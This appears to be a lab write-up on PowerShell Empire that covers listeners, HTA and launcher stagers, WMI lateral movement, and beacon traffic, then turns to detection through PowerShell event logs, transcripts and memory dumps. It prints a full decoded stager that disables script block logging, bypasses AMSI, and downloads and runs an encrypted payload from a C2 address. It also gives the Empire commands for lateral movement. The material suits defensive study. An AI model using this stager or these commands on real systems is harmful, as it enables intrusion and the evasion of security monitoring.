Listener
Copy // Empire commands used
?
uselistener meterpreter
info
Starting the listener:
Stager
Stager will download and execute the final payload which will call back to the listener we set up previously - meterpreter
- below shows how to set it up:
Copy //specify what stager to use
usestager windows / hta
//associate stager with the meterpreter listener
set Listener meterpreter
//write stager to the file
set OutFile stage . hta
//create the stager
execute
A quick look at the stager code:
Issues
Various stagers I generated for the meterpreter listener were giving me errors like this and this:
and this:
After looking at the traffic and a quick nmap scan, it seemed like there may be a bug in Empire's uselistener module when used with meterpreter - for some reason it will not actually start listening/open up the port:
To test this assumption, I created another http listener on port 80 - which worked immediately, leaving the meterpeter listener being buggy at least in my environment:
Agent
Agent is essentially a compromised victim system that called back to the listener and is now ready to receive commands.
Continuing testing with the http
listener and a multi/launcher
stager, the agent is finally returned once the launcher.ps1
(read: stager) is executed on the victim system:
Let's try getting one more agent back from another machine via WMI lateral movement :
Copy interact < agent - name >
usemodule powershell / lateral_movement / invoke_wmi
set Agent < agent - name >
set UserName offense\administrator
set Password 123456
set ComputerName dc - mantvydas
run
Beaconing
With default http listener profile set, below are the most commonly used URLs of the agent beaconing back to the listener:
The packet data in any of those beacons:
Observations
Note how executing the stager launcher.ps1 spawned another powershell instance and both parent and the child windows are hidden. Note that the children powershell was invoked with an encoded powershell command line:
Stager's command line in base64:
Copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAFIAcwBpAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBpAE8ATgAuAE0AQQBKAE8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAcwBzAEUAbQBCAGwAeQAuAEcAZQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiACgAJwBjAGEAY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
Decoded command line with notable user agent, C2 server and a session cookie:
Copy If ($ PSVeRsiOnTabLe . PSVErSiON . MAJOR - ge 3 ) {
$GPF = [ReF]. AssEmBly . GeTTyPE ( 'System.Management.Automation.Utils' ).
"GETFiE`ld" ( 'cachedGroupPolicySettings' , 'N' + 'onPublic,Static' );
If ($GPF) {
$GPC = $ GPF . GetVaLue ($NulL);
IF ($ GPC [ 'ScriptB' + 'lockLogging' ]) {
$ GPC [ 'ScriptB' + 'lockLogging' ][ 'EnableScriptB' + 'lockLogging' ] = 0 ;
$ GPC [ 'ScriptB' + 'lockLogging' ][ 'EnableScriptBlockInvocationLogging' ] = 0
}
$vAL = [ ColLEctIOns . GeNeRiC . DIctioNaRy [sTRInG , SystEm . ObjEct ]] :: nEw ();
$ val . ADd ( 'EnableScriptB' + 'lockLogging' , 0 );
$ VaL . ADd ( 'EnableScriptBlockInvocationLogging' , 0 );
$ GPC [ 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging' ] = $Val
}
ELSE {
[ScrIptBLOCk].
"GeTFiE`lD" ('signatures', 'N' + 'onPublic,Static').SeTVaLUe($nULL, (New - OBjECt CoLlECTIonS.GENerIC.HasHSeT[strINg]))
}[REF]. ASSEMblY . GETTYpe ( 'System.Management.Automation.AmsiUtils' ) | ? {
$_
} | % {
$ _ . GETField ( 'amsiInitFailed' , 'NonPublic,Static' ). SETVALUe ($nULl , $trUe)
};
};
[ SyStEm . Net . SERVicePOiNtMANAGEr ] :: EXpeCt100CoNtINUe = 0 ;
$wc = NEW - OBJeCT SySTeM . Net . WebCLIENT ;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' ;
$ wc . HeAderS . Add ( 'User-Agent' , $u);
$ wc . PROXy = [ SYStEm . NEt . WEbREQUeST ] :: DEfAuLTWEbPRoxy;
$ WC . PRoXY . CrEDenTiaLS = [ SYsteM . NET . CrEdENTIAlCaCHE ] :: DEfaultNeTwORkCRedEnTiaLs;
$Script : Proxy = $ wc . Proxy ;
$K = [ SystEM . TExT . EnCODINg ] :: ASCII . GeTBytes ( 'R.%?VtC8xqgnsFc5Z+:9wdE}ABMp{mzO' );
$R = {
$D ,
$K = $ARGS;$S = 0 . .255 ; 0 . .255 | % {
$J = ($J + $ S [$_] + $ K [$_ % $ K . COUNt ]) % 256 ;$ S [$_] ,
$ S [$J] = $ S [$J] ,
$ S [$_]
};$D | % {
$I = ($I + 1 ) % 256 ;$H = ($H + $ S [$I]) % 256 ;$ S [$I] ,
$ S [$H] = $ S [$H] ,
$ S [$I];$_ - bxor$ S [($ S [$I] + $ S [$H]) % 256 ]
}
};
$ser = 'http://192.168.2.71:80' ;
$t = '/login/process.php' ;
$ Wc . HEAderS . AdD ( "Cookie" , "session=9ulatLKLx5DWZ5IawRusFS2Z2rA=" );
$dAta = $ WC . DoWNloAdDatA ($SER + $t);
$Iv = $ DATa [ 0 . .3 ];
$DaTA = $ DatA [ 4 .. $ DatA . LeNgTH ]; - jOiN [ ChaR []]( & $R $ datA ($IV + $K)) | IEX
Logs
If we isolate the evil powershell that was infected by the Empire in our SIEM, we can see the beacons:
A compromised system can generate event 800
showing the following in Windows PowerShell logs (powershell 5.0+):
Also loads of 4103
events in Microsoft-Windows-PowerShell/Operational
:
In the same way, if PS transcript logging is enabled, the stager execution could be captured in there:
Memory Dumps
A memory dump can also reveal the same stager activity:
Copy volatility - f / mnt / memdumps / w7 - empire . bin consoles -- profile Win7SP1x64
References
https://www.sans.org/reading-room/whitepapers/incident/disrupting-empire-identifying-powershell-empire-command-control-activity-38315